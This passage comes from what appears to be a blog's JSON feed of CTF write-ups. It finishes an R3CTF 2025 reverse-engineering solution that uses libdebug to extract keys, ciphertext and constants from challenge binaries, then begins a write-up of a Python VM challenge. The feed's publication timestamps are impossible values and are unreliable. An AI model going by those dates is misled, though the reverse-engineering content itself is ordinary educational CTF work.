executables we first need to know what changes between them, opening the second executable and reversing it (just like in the “rev” part) i noticed that four things change:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ethe key (v91)\u003c/li\u003e\n\u003cli\u003ethe constant that increments v168 is different\u003c/li\u003e\n\u003cli\u003ethe four static values that are calculated inside the loop and used for shifting\u003c/li\u003e\n\u003cli\u003eand obviously the cipher text\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eto get the right input for any executable we have to extract these values, but first i updated my decrypt function so it uses dynamic keys, constant and shifts, you can check it \u003ca href=\"/r3ctf-r3loads/dynamic-decrypt.c\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eto extract the values dynamicly i used libdebug, since it is waaaaay faster than gdb scripting (gdb scripting would have took hours).\u003c/p\u003e\n\u003ch4 id=\"extracting-the-key\"\u003eExtracting the key\u003c/h4\u003e\n\u003cp\u003ewe start by extracting the key, to do that i set a breakpoint at read then return from read and go four instructions after it, to reach the call for the encrypt function\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_21-16-33.png\"\n  alt=\"Screenshot from 2025-07-07 21-16-33.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eafter that i read \u003ccode\u003e4*sizeof(unsigned int)\u003c/code\u003e bytes of memory starting at rsi to get the key.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elibdebug\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edebugger\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edebugger\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;./beatme\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003epipe\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erun\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003epipe\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# send dummy data so it does not get stuck at read\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebreakpoint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;read\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003econt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# now we are the start of read\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efinish\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# return for the read function\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e_\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003estep\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# now we are at \u0026#34;call encrypt\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ersi\u003c/span\u003e  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eregs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ersi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ememory\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ersi\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ersi\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efrom_bytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;little\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)]\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"extracting-the-cipher\"\u003eExtracting the cipher\u003c/h4\u003e\n\u003cp\u003eto extract the cipher from the binary, i noticed that the instructions that do the loading and  comparision are always the same\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_21-37-48.png\"\n  alt=\"Screenshot from 2025-07-07 21-37-48.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003ebytes 8b45a83d are the mov instruction and the first byte of cmp instruction, i use these to find their offset in the binary then add 4 and read a dword.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003ewith\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;./beatme\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eas\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efind\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x8b\\x45\\xa8\\x3d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# mov    eax,DWORD PTR [rbp-0x58] ; cmp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efind\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x8b\\x45\\xac\\x3d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# mov    eax,DWORD PTR [rbp-0x54] ; cmp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecipher\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efrom_bytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;little\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efrom_bytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;little\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"extracting-the-shift-values\"\u003eExtracting the shift values\u003c/h4\u003e\n\u003cp\u003enow we need to extract the shift values, to do that i decided to set a breakpoint at the end of the pow function and print the value at rax (return value).\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_22-04-49.png\"\n  alt=\"Screenshot from 2025-07-07 22-04-49.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003ebreakpoint is set at 0x162f.\u003c/p\u003e\n\u003cp\u003ei knew by observation the the pow function was the same in all executables, and since we can’t hard code the address of pow cause it changes, i decided to search for the offset of pow by it’s first bytes, and we add the size of it, to reach it’s last instruction.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003epowstart\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xf3\\x0f\\x1e\\xfa\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eUH\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x89\\xe5\\x89\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xec\\x89\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eu\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe8\\x89\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe4\\x83\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe8\\x00\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efiledata\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efind\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epowstart\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x3e\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# addr points to ret instruction of pow\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003enow we use this to set a breakpoint and print the values at eax\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# after the code that extracts the key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebreakpoint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efile\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;binary\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eshifts\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e_\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003econt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eshifts\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003emath\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elog2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eregs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erax\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# we use math.log2 since divising by 0x8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# is the same as shifting to right by 3 (log2(8) == 3)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"extracting-the-constant-that-increments-v168\"\u003eExtracting the constant that increments v168\u003c/h4\u003e\n\u003cp\u003enow to get the v168 increment constant c, we know from ida that v168 is stored at rbp-0x494, now each loop calls pow 4 times, so in the fifth call of pow (which we are setting a breapoint at), we would be in the second loop, v168 would be incremented one time, it would be equal to the increment constant, so we just get the value at v168.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# after the shifts extraction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003econt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003erbp\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eregs\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erbp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ec\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efrom_bytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ememory\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erbp\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x494\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003erbp\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x494\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;little\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand that’s it!\u003c/p\u003e\n\u003cp\u003eafter this we store all the extracted values in files. and we use them in the decryption in c, i did this because my decryption was in c.\u003c/p\u003e\n\u003cp\u003ehere are the final \u003ca href=\"/r3ctf-r3loads/extract.py\"\u003eextract.py\u003c/a\u003e and \u003ca href=\"/r3ctf-r3loads/decrypt.c\"\u003edecrypt.c\u003c/a\u003e scripts.\u003c/p\u003e\n\u003cp\u003eafter running them we get this jpg\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/output.jpg\"\n  alt=\"output.jpg\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/r3ctf2025-r3loads/","date_published":"8076-08-09T70:88:00+00:00","date_modified":"8076-08-09T70:88:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"c47116f23f289c8e33c92c12d2c41e3c82a7a97f","title":"writeup for dna chall from smiley ctf 2025","summary":"","content_text":"TL;DR This challenge features a vm that takes your flag, treats it as a vector and multiples it by a matrix of constant values, then compares the resulting vector to another vector, if the comparision is correct it prints \u0026ldquo;CORRECT!\u0026rdquo;\nInitial Analysis we are given two files: main.cpython-310.pyc which is our python compiled vm and vm.dna which is the vm code, the first thing i did was open https://pylingual.io to get the decompilation of the pyc, it gave me:\n# Decompiled with PyLingual (https://pylingual.io) # Internal filename: main.py # Bytecode version: 3.10.0rc2 (3439) # Source timestamp: 2025-06-06 03:24:45 UTC (1749180285) import marshal import sys s = [] m = {} nm = {\u0026#39;A\u0026#39;: 0, \u0026#39;T\u0026#39;: 1, \u0026#39;G\u0026#39;: 2, \u0026#39;C\u0026#39;: 3} unlucky = 